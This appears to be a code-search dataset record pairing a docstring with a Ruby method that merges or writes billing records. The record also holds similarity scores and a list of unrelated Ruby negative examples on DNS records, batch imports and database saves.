[
"0.62362546",
"0.6170936",
"0.603222",
"0.60252243",
"0.6016412",
"0.6016412",
"0.596855",
"0.5942817",
"0.5875563",
"0.5849752",
"0.5811886",
"0.57751286",
"0.57346225",
"0.57091135",
"0.5694887",
"0.56857264",
"0.5669168",
"0.5666361",
"0.5663587",
"0.558719",
"0.5585203",
"0.5558417",
"0.5550327",
"0.5542088",
"0.55091584",
"0.5507285",
"0.54999965",
"0.54952174",
"0.54812497",
"0.54800904",
"0.5473989",
"0.5470435",
"0.54486984",
"0.5445998",
"0.54438734",
"0.5427819",
"0.5427819",
"0.5423436",
"0.5420029",
"0.54194045",
"0.5403354",
"0.54029",
"0.5398683",
"0.5395956",
"0.53922987",
"0.53920513",
"0.53917414",
"0.5389326",
"0.5379961",
"0.5366211",
"0.53658694",
"0.53589094",
"0.53558314",
"0.53558314",
"0.53501093",
"0.5335827",
"0.5328694",
"0.5318134",
"0.5310045",
"0.5308162",
"0.5299027",
"0.5290254",
"0.528003",
"0.527142",
"0.5267685",
"0.52657515",
"0.5263945",
"0.5263035",
"0.5262796",
"0.52599674",
"0.5250369",
"0.52455074",
"0.5238853",
"0.5235008",
"0.52336484",
"0.5230636",
"0.52098405",
"0.52098405",
"0.5202168",
"0.5200137",
"0.51855904",
"0.51838607",
"0.51816297",
"0.5177653",
"0.5176569",
"0.5176187",
"0.5173782",
"0.516914",
"0.5167349",
"0.5163786",
"0.51623315",
"0.51623315",
"0.51606953",
"0.5160086",
"0.5154731",
"0.514818",
"0.5147498",
"0.5139963",
"0.5134053",
"0.5133256"
] |
0.76226145
|
0
|
Writes 'record' into the database if: 1. there's no previous record for this resource + billing type; or 2. the previous such record differs in hourly cost or billing codes; or 3. the records are separated by more than maximum_time_gap Otherwise, `record` is merged with the previous record that matches its resource and billing type
|
def write_or_merge_with_existing(new_record, maximum_time_gap)
write_new_record = true
last_record = BillingRecord.most_recent_like(new_record)
# If the previous record for this resource/billing type has the same
# hourly rate and billing codes, just update the previous record
if last_record && last_record.overlaps_with(new_record, maximum_time_gap)
if (last_record.cost_per_hour.round(PRECISION) ==
new_record.cost_per_hour.round(PRECISION)) &&
(last_record.billing_codes == new_record.billing_codes)
@log.debug "Updating record #{last_record.id} for "+
" #{new_record.resource_type} #{new_record.resource_id}"+
" in account #{new_record.account}"
last_record.merge_with new_record
write_new_record = false
else # If the previous record has different rate or codes...
# Make the new record begin where the previous one leaves off
new_record.start_time = last_record.stop_time
end
end
if write_new_record
@log.debug "Creating new record for for #{new_record.resource_type}"+
" #{new_record.resource_id} in account #{new_record.account}"
ActiveRecord::Base.connection_pool.with_connection {new_record.save!}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add(record)\n unless exist?(record[0])\n domain = new_domain(record[0])\n zone = new_zone(domain.id)\n for t in @templates\n new_record(t, domain, record)\n end\n\n if(record[4] == \"yes\")\n @mxgoogle.each do |content, ttl_prio|\n new_mx_record(domain, content, ttl_prio[\"ttl\"], ttl_prio[\"prio\"])\n end\n\n new_txt_record(domain, record[5]) unless record[5].empty?\n end\n\n return record\n else\n update(record)\n end\n\n return nil\n end",
"def schedule_new_record(row)\n ETL::Engine.logger.debug \"writing new record\"\n if scd_type == 2\n row[scd_effective_date_field] = @timestamp\n row[scd_end_date_field] = '9999-12-31 00:00:00'\n row[scd_latest_version_field] = true\n end\n buffer << row\n end",
"def add_record(record)\n return unless @if_proc.call(record)\n\n condensed_record = condense_record(record)\n atoms = add_occurences(condensed_record, record.id)\n\n @storage.add(atoms)\n end",
"def end_record(line)\n # Add the end line to the @non_tabular_record (if required) before ending the record\n @non_tabular_record << line if @capture_end_line\n @tabular_array << @non_tabular_record.tabulate(column_mappings) if @in_a_record\n @in_a_record = false\n @non_tabular_record = NdrImport::NonTabular::Record.new\n end",
"def upsert_record\n connection.change_resource_record_sets(\n hosted_zone_id: @zone,\n change_batch: {\n changes: [\n {\n action: 'UPSERT',\n resource_record_set: {\n name: @resource[:record],\n type: @resource[:type],\n ttl: @resource[:ttl],\n resource_records: @resource[:value].map { |value| { value: value } }\n }\n }\n ]\n }\n )\n end",
"def add_record record\n # Record all leases, since the definition of a duplicate depends on whether we\n # are searching by ip or mac. Arrays have fixed sort order so we can rely on this\n # being the order they were read from the file\n @records.push record\n logger.debug \"Added #{record} to #{to_s}\"\n return true\n end",
"def create_record!(record)\n @created += 1\n begin\n ar_record = target_class.new(record_attributes(record))\n ar_record.save!\n return ar_record\n rescue ActiveRecord::RecordInvalid => e \n ar_record.save!(:validate => false)\n @invalid_records += 1\n raise e\n end\n end",
"def add(record, zone)\n new_answers = [{ answer: build_api_answer_from_record(record) }]\n\n record_fqdn = record.fqdn.sub(/\\.$/, '')\n\n existing_record = client.record(\n zone: zone,\n fqdn: record_fqdn,\n type: record.type\n )\n\n if existing_record.nil?\n client.create_record(\n zone: zone,\n fqdn: record_fqdn,\n type: record.type,\n params: {\n answers: new_answers,\n ttl: record.ttl,\n use_client_subnet: false, # only required for filter chains that are not supported by record_store\n }\n )\n return\n end\n\n existing_answers = existing_record['answers'].map { |answer| symbolize_keys(answer) }\n client.modify_record(\n zone: zone,\n fqdn: record_fqdn,\n type: record.type,\n params: { answers: existing_answers + new_answers, ttl: record.ttl }\n )\n end",
"def final_update_record(record,jobacct)\n # do nothing\n end",
"def end_record\n if @current_record_id\n @processor.end_record(Entry::EndRecord.new(@level_group.highest, ::Time.now, @record_progname || @progname, @current_record_id))\n id_ = @current_record_id\n @current_record_id = nil\n id_\n else\n nil\n end\n end",
"def write_record\n route53.change_resource_record_sets(options)\n end",
"def write(record)\n case record\n when FlatKit::Jsonl::Record\n write_record(record)\n when FlatKit::Record\n converted_record = ::FlatKit::Jsonl::Record.from_record(record)\n write_record(converted_record)\n else\n raise FlatKit::Error, \"Unable to write records of type #{record.class}\"\n end\n rescue FlatKit::Error => fe\n raise fe\n rescue => e\n ::FlatKit.logger.error \"Error reading jsonl records from #{output.name}: #{e}\"\n raise ::FlatKit::Error, e\n end",
"def update_oldest_records\n old_records = @bq_writer.query('SELECT table_name, attr FROM '\\\n \"[#{project_id}:#{@bq_writer.dataset}.#{bq_table_name}] \"\\\n 'GROUP BY table_name, attr')\n if old_records['rows']\n old_records['rows'].each do |r|\n table = r['f'][0]['v']\n trait = r['f'][1]['v']\n\n next unless trait && bq_attributes[table] \n\n if bq_attributes[table].include?(trait.to_sym) \n OldestRecord.find_or_create_by(table_name: table, attr: trait)\n else\n log(:info, \"#{Time.now}: No longer tracking: #{table}: #{trait}\")\n end\n end\n end\n end",
"def add_record(record)\n condensed_record = condense_record(record)\n load_atoms(condensed_record)\n add_occurences(condensed_record,record.id)\n @records_size += 1\n end",
"def save_record(alternate_record = nil)\n r = alternate_record || record\n r.save_without_session_maintenance(:validate => false) if r && r.changed? && !r.readonly?\n end",
"def _record_end_time(records)\n end_time = DateTime.now\n unless records.empty?\n records.each do |record|\n record.end_at = end_time\n record.updated_at = end_time\n record.total_time += record.time_diff\n end\n end\n end",
"def <<(record)\n @records << record\n end",
"def <<(record)\n @records << record\n end",
"def write_record csv = nil\n csv ||= self.csv\n raise 'Record#add_record_to_csv: no associated CSV object.' unless csv\n\n csv << values\n end",
"def save_changes_from(record)\n self.save_base_attributes(record)\n if record.new_record?\n self.log_type = \"created\"\n end\n self.extract_changes_from(record)\n end",
"def addRecord(rec); @records[rec.key] = rec end",
"def save\n requires :name, :type, :ttl, :rrdatas\n\n service.create_change(self.zone.id, [resource_record_set_format], [])\n self\n end",
"def create\n # to support array meta from iOS\n if params[:record][:meta].is_a? Array\n params[:record][:meta] = params[:record][:meta].join(\",\")\n end\n\n @record = current_patient.records.new(params[:record])\n\n @record.actual_pill_time_at = Time.zone.parse(params[:record][:actual_pill_time_at])\n\n\n respond_to do |format|\n if @record.save\n if @record.is_android_phone\n @record.swapUVAttribute\n end\n # if Rails.env == 'production'\n # @record.delay.post_processing\n # else\n # @record.post_processing\n # end\n format.json { render json: @record,\n status: :created,\n location: [current_patient, @record] }\n\n format.html { redirect_to [current_patient, @record],\n notice: 'Record was successfully created.' }\n else\n puts @record.errors\n format.json { render json: @record.errors, status: :unprocessable_entity }\n format.html { render action: 'new' }\n end\n end\n end",
"def flush rec, next_id, tick\n ## if threshold etc.\n db.transaction do\n while rec\n n = db[:tuples].filter(id: rec.id).update(count: rec.count)\n if n == 0\n db[:tuples].insert(id: rec.id, count: rec.count, packed: rec.packed)\n end\n rec.unmark_to_save\n rec = rec.next_rec_to_save\n end\n db[:global].update(next_id: next_id, tick: tick)\n end\n ## rescue ???\n end",
"def save_record(record)\n record.save\n end",
"def save_record(record)\n record.save\n end",
"def store_invalid_record(record)\n return unless InvalidRecord.table_exists?\n\n invalid_record = InvalidRecord.where(record: record).first\n invalid_record ||= InvalidRecord.new\n invalid_record.record = record\n invalid_record.validation_errors = record.errors.messages\n invalid_record.save!\n end",
"def enhance_batch!(conn, record_batch)\n return record_batch if record_batch.nil? || record_batch.empty?\n\n copy_info = get_joined_table(\n conn, record_batch,\n :table_name => \"copy\",\n :column_map => settings['horizon.copy_map'],\n :join_clause => settings['horizon.copy_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all copies direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n item_info = get_joined_table(\n conn, record_batch,\n :table_name => \"item\",\n :column_map => settings['horizon.item_map'],\n :join_clause => settings['horizon.item_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all items direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n if item_info || copy_info\n record_batch.each do |record|\n id = record['001'].value.to_s\n record_copy_info = copy_info && copy_info[id]\n record_item_info = item_info && item_info[id]\n\n record_copy_info.each do |copy_row|\n field = MARC::DataField.new( settings[\"horizon.copy_tag\"] )\n copy_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_copy_info\n\n record_item_info.each do |item_row|\n field = MARC::DataField.new( settings[\"horizon.item_tag\"] )\n item_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_item_info && ((settings['horizon.include_holdings'].to_s != \"direct\") || record_copy_info.empty?)\n end\n end\n\n return record_batch\n end",
"def push_new_record(record)\n handle_couch_response do\n RestClient.post(local_couch_database_url, record, content_type: :json)\n end\n end",
"def writer(record)\n replace(record)\n end",
"def finish!\n database = Concierge::OptionalDatabaseAccess.new(SyncProcessRepository)\n\n sync_record.stats[:properties_processed] = processed\n sync_record.stats[:available_records] = counters.available\n sync_record.stats[:unavailable_records] = counters.unavailable\n\n sync_record.finished_at = Time.now\n\n database.create(sync_record)\n true\n end",
"def process_log(record)\n record = record.merge(transition: \"complete\") unless record.transition\n write(TupleSpace::ProcessLogTuple.new(record))\n end",
"def add_record(record)\n return unless allow_indexing?(record)\n\n condensed_record = condense_record(record)\n atoms = add_occurences(condensed_record, record.id)\n\n @storage.add(atoms)\n end",
"def merge_with(other_billing_record)\n self.stop_time = other_billing_record.stop_time\n total = ((stop_time - start_time) * cost_per_hour) / 3600\n self.total_cost = total\n ActiveRecord::Base.connection_pool.with_connection {save!}\n end",
"def serialize_record(record, program)\n serialized_record = record.as_json(ignore_includes: true)\n transform_record_keys(record, serialized_record, program)\n\n serialized_record['record_type'] = record.class.to_s\n\n if record.class == Encounter && (!record.respond_to?(:program_id))\n # HACK: Apparently this script may be run on old applications\n # that use the old openmrs standard that has no program\n # specific encounters. Thus we manually have to set the program\n # id using the value specified in the config file.\n raise 'Invalid or missing program name in rds config: application.yml' unless program\n\n serialized_record['program_id'] = program.id\n\n # HACK: Another hack to handle HTS program encounters\n serialized_record.delete('patient_program_id') if serialized_record.key?('patient_program_id')\n elsif [User, Person, PersonName].include?(record.class)\\\n && record.id <= MAX_DEFAULT_USER_ID && !record_uuid_was_remapped?(record)\n # HACK: On setup of most BHT applications, a default set of users is seeded.\n # These retain the same UUIDs across space. We need to remap these UUIDs\n # since they all will be loaded into the same database that holds unique\n # constraints on all UUID fields.\n remap = remap_record_uuid(record)\n serialized_record['uuid'] = remap.new_uuid\n end\n\n if record.respond_to?(:date_created) && record.date_created.blank?\n serialized_record['date_created'] = DEST_TIME_EPOCH\n end\n\n serialized_record\n end",
"def create_single_dns_record(app_name,\n stack_name,\n zone_name,\n record_name,\n ttl: 300,\n type: 'A',\n healthcheck: nil,\n zone_id: nil,\n alias_target: {},\n resource_records: [])\n if type && !RECORD_TYPE.include?(type)\n fail(\"Route53 record type can only be one of the following: #{RECORD_TYPE.join(',')}\")\n end\n if healthcheck && (!healthcheck.is_a?(Hash) || !healthcheck.include?(:Ref))\n fail('healthcheck must be a valid cloudformation Ref function')\n end\n if alias_target && (!alias_target.is_a?(Hash))\n fail('AliasTarget must be a Hash')\n end\n\n name = app_name || stack_name.titleize.remove(/\\s/)\n properties = {\n Name: record_name,\n Comment: \"#{type} record for #{[app_name, 'in '].join(' ') if app_name}#{stack_name} stack\",\n Type: type\n }\n\n # HostedZoneId and HostedZoneName options are mutually exclusive\n if zone_id && !zone_id.nil?\n properties[:HostedZoneId] = zone_id\n else\n properties[:HostedZoneName] = zone_name\n end\n\n if !alias_target.blank?\n fail('AliasTarget can be created only for A or AAAA type records') unless %w(A AAAA).include?(type)\n unless alias_target.key?(:HostedZoneId) && alias_target.key?(:DNSName)\n fail('AliasTarget must have HostedZoneId and DNSName properties')\n end\n properties[:AliasTarget] = alias_target\n else\n properties[:TTL] = ttl\n properties[:HealthCheckId] = healthcheck if healthcheck\n properties[:ResourceRecords] = resource_records.empty? ? ref(\"#{app_name}PublicIpAddress\") : resource_records\n end\n\n resource \"#{name}Hostname\",\n Type: 'AWS::Route53::RecordSet',\n Properties: properties\n end",
"def format(tag, time, record)\n partition_keys = []\n row_keys = []\n record.each_pair do |name, val|\n if @partition_key_array && @partition_key_array.include?(name)\n partition_keys << val\n record.delete(name)\n elsif @row_key_array && @row_key_array.include?(name)\n row_keys << val\n record.delete(name)\n end\n end\n if @add_time_to_partition_key\n partition_keys << Time.now.strftime(\"%Y%m%d\")\n end\n if @add_time_to_row_key\n row_keys << Time.now.getutc.to_i\n end\n if @add_uuid_to_row_key\n row_keys << SecureRandom.uuid\n end\n\n entity = Hash.new\n entity['partition_key'] = partition_keys.join(@key_delimiter)\n entity['row_key'] = row_keys.join(@key_delimiter)\n entity['entity_values'] = record\n entity.to_msgpack\n end",
"def change_record(host, new_ip, ttl = 300)\n\t\thosted_zone = get_hosted_zone()\n\t\thost_name = \"#{host}.#{hosted_zone[:name]}\"\n\n\t\told_record = get_a_record(host, hosted_zone)\n\t\tnew_ttl = old_record.nil? ? ttl : old_record[:ttl]\n\n\t\tbatch = _create_batch_request(host_name, new_ip, new_ttl)\n\n\t\t@r53.change_resource_record_sets({:hosted_zone_id => @zone, :change_batch => batch})\n\tend",
"def add_report_item(employee, record)\n if record.hours_worked != 0 \n amount_paid = 0\n case employee.job_group\n when \"A\"\n amount_paid += record.hours_worked * 30\n when \"B\"\n amount_paid += record.hours_worked * 20\n end\n current_date = record.date\n case current_date.day\n when 1..15\n pay_start_date = current_date.beginning_of_month\n pay_end_date = Date.new(current_date.year, current_date.month, 15)\n when 16..31\n pay_start_date = Date.new(current_date.year, current_date.month, 16)\n pay_end_date = current_date.end_of_month \n end\n report = Report.where(employee_id: employee.id, pay_start_date: pay_start_date, pay_end_date: pay_end_date).first_or_create\n report.amount_paid ||= 0\n report.amount_paid += amount_paid\n report.save!\n end\n end",
"def save_record_to_database(record)\n #if ScraperWiki.select(\"* from swdata where council_reference='#{record['council_reference']}'\").empty?\n ScraperWiki.save_sqlite(['council_reference'], record)\n #else\n # puts \"Skipping already saved record \" + record['council_reference']\n #end\nend",
"def save_record_to_database(record)\n #if ScraperWiki.select(\"* from swdata where council_reference='#{record['council_reference']}'\").empty?\n ScraperWiki.save_sqlite(['council_reference'], record)\n #else\n # puts \"Skipping already saved record \" + record['council_reference']\n #end\nend",
"def record(record)\n @db.save_doc(record)\n end",
"def save_records\n @new_batch_flag = 0\n (@parser == 'wellsfargo' && type == \"CORRESP\") ? prepare_wellfargo_corresp_batch : prepare_batch\n if @bat\n if @inbound_file_information\n @bat.inbound_file_information = @inbound_file_information\n @bat.arrival_time = arr_time = @inbound_file_information.arrival_time\n set_batch_time @bat, arr_time\n end\n @job_condition = job_condition\n if @job_condition\n @img_count = 1\n do_bank_logics if type == 'PAYMENT' #Applying bank specific logic\n end\n images = call_parser_specific_method \"prepare_image\"\n images.each{|image| @bat.images_for_jobs << image}\n\n prepare_job\n @bat.jobs << @job if @job_condition\n images.each{|image| @job.images_for_jobs << image}\n @job.initial_image_name = @initial_image_name\n if @job_condition\n check = prepare_cheque\n if type == 'PAYMENT'\n micr = prepare_micr\n if micr\n payer = micr.payer\n check.payer_id = micr.payer_id if micr.payer_id\n if !facility.payer_ids_to_exclude.blank?\n @job.job_status = JobStatus::EXCLUDED if payer && payer.excluded?(facility)\n elsif !facility.payer_ids_to_include.blank?\n @job.job_status = JobStatus::EXCLUDED if !facility.included_payers.include?(payer)\n end\n micr.check_informations << check\n end\n end\n @job.check_informations << check\n end\n end\n\n if @bat.save\n @bat.update_attributes(:status => BatchStatus::NEW)\n if @job.save\n images.each do |image|\n# if image.save\n if image.image_file_name.upcase == @check_image.to_s.upcase\n save_image_types(\"CHK\",image)\n elsif ((image.image_file_name.upcase == @envelop_image.to_s.upcase) and (@job.job_status != JobStatus::EXCLUDED))\n save_image_types(\"ENV\",image)\n elsif ((@job.job_status == JobStatus::EXCLUDED) and (image.image_file_name.upcase != @check_image.to_s.upcase))\n save_image_types(\"OTH\",image)\n end\n total_number_of_images = number_of_pages(@job)\n check_number = check.check_number if !check.blank?\n estimated_eob = @job.estimated_no_of_eobs(total_number_of_images, micr, check_number)\n @job.update_attributes(:estimated_eob => estimated_eob, :pages_to => total_number_of_images)\n \n InputBatch::Log.status_log.info \"Image #{image.image_file_name}\n id #{image.id} batch id #{image.batch.id} job id #{image.jobs.first.id}\n successfully loaded\"\n puts \"Image #{image.image_file_name} successfully loaded\" if !image.size.blank?\n# else\n# raise \"Error on line #{@row_index} : Cannot load image #{image.image_file_name}\"\n# end\n end\n if @job_condition and check.save\n InputBatch::Log.status_log.info \"Check id #{check.id}, check_number\n #{check.check_number}, Job id #{check.job.id}, batch id #{check.job.batch.id}\n successfully loaded\"\n if micr and micr.save\n InputBatch::Log.status_log.info \"Check #{check.id} associated to micr\n #{check.micr_line_information.id}\"\n @job.save_payer_group(micr)\n end\n\n end\n else\n raise \"Error on line #{@row_index} : Cannot save job for batch #{@bat.batchid}\"\n end\n else\n raise \"Error on line #{@row_index} : Cannot save batch\"\n end\n \"#{@bat.date.strftime(\"%Y%m%d\")}_#{@bat.batchid}_SUPPLEMENTAL_OUTPUT\" rescue nil\n end",
"def set_new_record(record)\n replace(record)\n end",
"def merge_into(record)\n return false unless record.class == self.class && self.class.merge_records(self, id, record.id)\n record.reload\n end",
"def save_all_fields_from_record(record)\n self.save_base_attributes(record)\n self.changed_keys = record.attributes.keys\n self.old_values ||= Hash.new\n self.new_values ||= Hash.new\n record.attributes.keys.each do |key|\n self.old_values[key] = record.attributes[key]\n self.new_values[key] = nil\n end\n self.filter_attributes(record)\n end",
"def append_records\n # counter is a array type container hold numbers of AxOrder instance.\n # current AxOrder instance by manipulate is last member of container.\n counter = []\n begin\n if counter.empty?\n counter << new(:ax_order_number => next_ax_order_number)\n else\n counter << new(:ax_order_number => next_ax_order_number(counter.last.ax_order_number))\n end\n\n order, items = counter.last.fetch_data\n counter.last.attributes = order\n items.each do |item|\n counter.last.ax_order_line_items << AxOrderLineItem.new(item)\n end\n counter.each {|o| o.save }\n append_records # recursive invoke method self\n rescue => ex\n puts ex.message if AppConfig.DEBUG_MODE\n retry unless counter.size == MAX_COUNTER\n end\n end",
"def new_record\n return unless has_permission :can_do_billing\n @page_title = 'New Billing Record'\n \n @record = BillingCharge.new \n @users = User.find(:all,:conditions=>['account_suspended = false'])\n \n case request.method\n when :post\n @record = BillingCharge.new(params[:record],current_user) \n if params[:record][:type] == 'DepositRecord'\n @record.charge_amount = -1 * @record.charge_amount\n end\n if @record.save\n flash[:notice] = \"[#{@record.created_at.min}:#{@record.created_at.sec}] Record Created: #{@record.pilot.full_name}, $#{@record.charge_amount}\"\n redirect_to :back\n else\n flash[:warning] = 'Error Creating Billing Record'\n end\n end\n \nend",
"def add_transaction_record(record)\n current_transaction.add_record(record)\n end",
"def create_or_update record\n db_name = database_name_for(record)\n coll_name = collection_name_for(record)\n id = id_for(record)\n pointer = \"/#{db_name}/#{coll_name}/#{id}\"\n if id\n res = collection_for(record).update({:_id => id}, interpret(record), :upsert => true)\n case\n when res['error']\n log.error(res['error'])\n when res['updatedExisting']\n log.debug(\"Updated #{pointer}\")\n else\n log.debug(\"Inserted #{pointer}\")\n end\n else\n res = collection_for(record).insert(interpret(record))\n log.info(\"Inserted #{pointer}#{res}\")\n end\n end",
"def calls2recordings_disabled\n #cdr2calls\n recs = Recording.find(:all, :conditions => \"call_id = '0'\")\n\n temp = []\n for rec in recs\n date_before = Time.at(rec.datetime.to_d-2).strftime(\"%Y-%m-%d %H:%M:%S\")\n date_after = Time.at(rec.datetime.to_d+2).strftime(\"%Y-%m-%d %H:%M:%S\")\n # my_debug date_before.to_s+date_after.to_s\n if call=Call.find(:first, :conditions => [\"src_device_id = ? AND dst_device_id = ? AND calldate BETWEEN ? AND ?\", rec.src_device_id, rec.dst_device_id, date_before, date_after])\n rec.call_id = call.id\n rec.save\n temp << call\n end\n end\n temp\n end",
"def set_or_replace_record(obj)\r\n @records.delete_if {|record| record.id == obj.id }\r\n obj.id ||= (@id_counter += 1)\r\n\r\n # Dup to clean up any extra added pieces, like Errors\r\n @records << obj.dup\r\n\r\n obj\r\n end",
"def add_records(records)\n atoms = {}\n\n records.each do |record|\n next unless @if_proc.call(record)\n\n condensed_record = condense_record(record)\n atoms = add_occurences(condensed_record, record.id, atoms)\n end\n\n @storage.add(atoms)\n end",
"def new_record(template, domain, record)\n r = Record.new\n\n r.domain_id = domain.id\n r.name = subst(domain, template.name)\n\n if template.type == \"A\" || template.type == \"CNAME\" || template.type == \"AAAA\"\n r.name += \".\" unless template.name.empty?\n r.name += domain.name\n end\n\n r.type = template.type\n\n if template.type == \"A\" || template.type == \"AAAA\"\n unless record[1].empty?\n r.content = record[1]\n else\n r.content = template.content\n record[1] = template.content\n end\n else\n r.content = subst(domain, template.content)\n end\n\n r.ttl = template.ttl\n r.prio = template.prio\n r.change_date = Time.now.to_i\n\n r.save\n return r\n end",
"def write(record)\n @worker.enqueue record\n end",
"def handle_record(tag, time, record)\n req, uri = create_request(record)\n send_request(req, uri)\n end",
"def add_record(record_id)\n @records[record_id] = [] unless include_record?(record_id)\n end",
"def update_toon_create_ship_record(update_records)\n update_records.each do |r|\n payout = (r[4] - r[5]) * 0.65\n if WtShip.find_by_lossurl(r[0]) #unless there is an exact time match for a record, create a new record\n\t return false\n elsif self.created_at > r[3]\n return false\n else\n if self.bounty < payout\n payout = self.bounty\n self.bounty = 0\n self.active_bounty = 0\n self.save\n end\n \t ship_lost = wt_ships.create!(:lossurl => r[0], :ship_type => r[1], :solar_system => r[2], :eve_time_date => r[3], \n \t :isk_destroyed => r[4], :isk_dropped => r[5], :payout_amt => payout, :lost_to => r[6]\n \t\t\t) # Payout, ttl destroyed isk - isk dropped * 65%\n \t\t\t \t\t\t \n \t\t\tif r[7]\n \t\t\thero = EdenHero.find_or_initialize_by_character_id(r[7])\n \t\t\thero.name ||= r[6] \n \t\t\thero.earned_bounty_amt? ? hero.earned_bounty_amt += payout : hero.earned_bounty_amt = payout #can't add to nil\n \t\t\tif hero.save!\n \t\t\t info = [r, payout]\n \t\t\t AdminMailer.payout(r, payout).deliver\n \t\t\t else\n \t\t\t info = [r, payout]\n \t\t\t AdminMailer.error_mail(info).deliver\n \t\t\t end\n\t\t\t end\n end\n end\n end",
"def create_temp_holdings_for_processing(rec)\n # init_holdings is a hash of the parameters needed to create a\n # HoldingsRecord object.\n # Initially we set the first 4, which come from 999 92s\n init_holdings = {}\n occ = 0\n Traject::MarcExtractor.cached(\"999|92|\").each_matching_line(rec) do |field, spec, extractor|\n id = field['a']\n loc = field['b']\n next if loc.start_with?('e')\n ct = field['c']\n occ = occ += 1\n\n init_holdings[id] = [id, loc, ct, occ]\n end\n\n if init_holdings.length > 0\n # field_hash\n # key = holdings record id\n # value = array of MARC::DataFields created from 999 93s determined to\n # be relevant to subsequent display/processing\n field_hash = {}\n \n Traject::MarcExtractor.cached(\"999|93|\").each_matching_line(rec) do |field, spec, extractor|\n recid = field['0']\n\n df = new_data_field(field) if \n ( field['2'] == '852' && field['3'] == 'c' ) ||\n ( field['2'] =~ /85[345]/ && field['3'] == 'y' ) ||\n ( field['2'] =~ /86./ && field['3'] == 'h' )\n\n if df\n if field_hash.has_key?(recid)\n field_hash[recid] << df\n else\n field_hash[recid] = [df]\n end\n end\n end\n\n # field_hash values are appended to the relevant parameter array of init_holdings\n field_hash.each { |k, v| init_holdings[k] << v if init_holdings[k] }\n\n # create new HoldingsRecord object \n holdings_array = []\n init_holdings.each_value do |hdata|\n # if there are no relevant variable fields, we don't need to output holdings data\n if hdata.size == 5\n holdings_array << HoldingsRecord.new(hdata[0], hdata[1], hdata[2],\n hdata[3], hdata[4]) \n end\n end\n\n # make sure they are in ILS order\n return holdings_array.sort_by { |h| h.occ }\n end\n end",
"def save_records\n unless @records.empty?\n @model_class.connection.populate(@model_class.quoted_table_name, columns_sql, rows_sql_arr, \"#{@model_class.name} Populate\")\n @last_id_in_database = @records.last.id\n @records.clear\n end\n end",
"def create(record)\n result = self.class.post(worksheet_url,\n :body => { \"fields\" => record.fields }.to_json,\n :headers => { \"Content-type\" => \"application/json\" }).parsed_response\n if result.present? && result[\"id\"].present?\n record.override_attributes!(result_attributes(result))\n record\n else # failed\n false\n end\n end",
"def update(rec)\n if ( !rec.fields[\"phone\"].nil? && @phone.index(rec.fields[\"phone\"]).nil? )\n @phone << rec.fields[\"phone\"]\n end\n \n if ( !rec.fields[\"fax\"].nil? && @fax.index(rec.fields[\"fax\"]).nil? )\n @fax << rec.fields[\"fax\"] \n end\n \n if ( !rec.fields[\"email\"].nil? && @email.index(rec.fields[\"email\"]).nil? )\n @email << rec.fields[\"email\"] \n end\n end",
"def save_records\n @job_condition = job_condition\n find_type\n prepare_batch\n\n if @batch\n @image_count = 1 if @job_condition\n @batch.inbound_file_information = @inbound_file_information if @inbound_file_information\n\n images = prepare_image\n images.each{|image| @batch.images_for_jobs << image}\n\n prepare_job\n @batch.jobs << @job if @job_condition\n images.each{|image| @job.images_for_jobs << image}\n\n if @job_condition\n check = prepare_cheque\n @job.check_number = '0' if check.check_amount == 0.0\n @job.check_informations << check\n @job.initial_image_name = @initial_image_name\n micr = prepare_micr\n if micr\n payer = micr.payer\n check.payer_id = micr.payer_id if micr.payer_id\n if !facility.payer_ids_to_exclude.blank?\n @job.job_status = JobStatus::EXCLUDED if payer && payer.excluded?(facility)\n elsif !facility.payer_ids_to_include.blank?\n @job.job_status = JobStatus::EXCLUDED if !facility.included_payers.include?(payer)\n end\n micr.check_informations << check\n end\n end\n \n if @batch.save\n if @job.save\n images.each do |image|\n if image.save\n InputBatch.log.debug \"Image #{image.filename} id #{image.id} batch id #{image.batch.id} job id #{image.jobs.first.id} successfully loaded\"\n puts \"Image #{image.filename} successfully loaded\"\n end\n end\n\n total_number_of_images = number_of_pages(@job)\n check_number = check.check_number if !check.blank?\n estimated_eob = @job.estimated_no_of_eobs(total_number_of_images, micr, check_number)\n @job.update_attributes(:estimated_eob => estimated_eob, :pages_to => total_number_of_images)\n\n if @job_condition and check.save\n InputBatch.log.debug \"Check id #{check.id}, check_number #{check.check_number}, Job id #{check.job.id}, batch id #{check.job.batch.id} successfully loaded\"\n if micr and micr.save\n InputBatch.log.debug \"Check #{check.id} associated to micr #{check.micr_line_information.id}\"\n @job.save_payer_group(micr)\n end\n end\n end\n end\n end\n end",
"def create\n @record = Record.new(record_params)\n\n if @record.type_record == \"CNAME\"\n # Se o tipo é um CNAME, não pode existir outro Record, \n # com o mesmo nome, no mesmo Domain.\n\n records_domain = Record.where(domain_id: @record.domain_id)\n\n records_domain.each do |r|\n \n if @record.name == r.name\n \n respond_to do |format|\n format.html { \n flash[:notice] = 'O Record não foi inserido! Existe um Record com mesmo nome no mesmo Domain'\n render :new\n }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n return \n end\n\n end\n \n else\n # Se o tipo não é um CNAME, não pode existir um Record do tipo CNAME, \n # com o mesmo nome, no mesmo Domain.\n\n records_cname_domain = Record.where(type_record: \"CNAME\", name: @record.name,\n domain_id: @record.domain_id).count()\n\n if records_cname_domain != 0\n\n respond_to do |format|\n format.html { \n flash[:notice] = 'O Record não foi inserido! Existe um Record do tipo CNAME com mesmo nome no mesmo Domain'\n render :new\n }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n\n return\n end\n\n end\n\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to @record, notice: 'Record inserido com sucesso!' }\n format.json { render :show, status: :created, location: @record }\n else\n format.html { \n flash[:notice] = 'O Record não pode ser inserido! '\n render :new\n }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(record)\n now = Time.now\n record['created_at'] ||= now\n record['updated_at'] ||= now\n collection.insert(record)\n end",
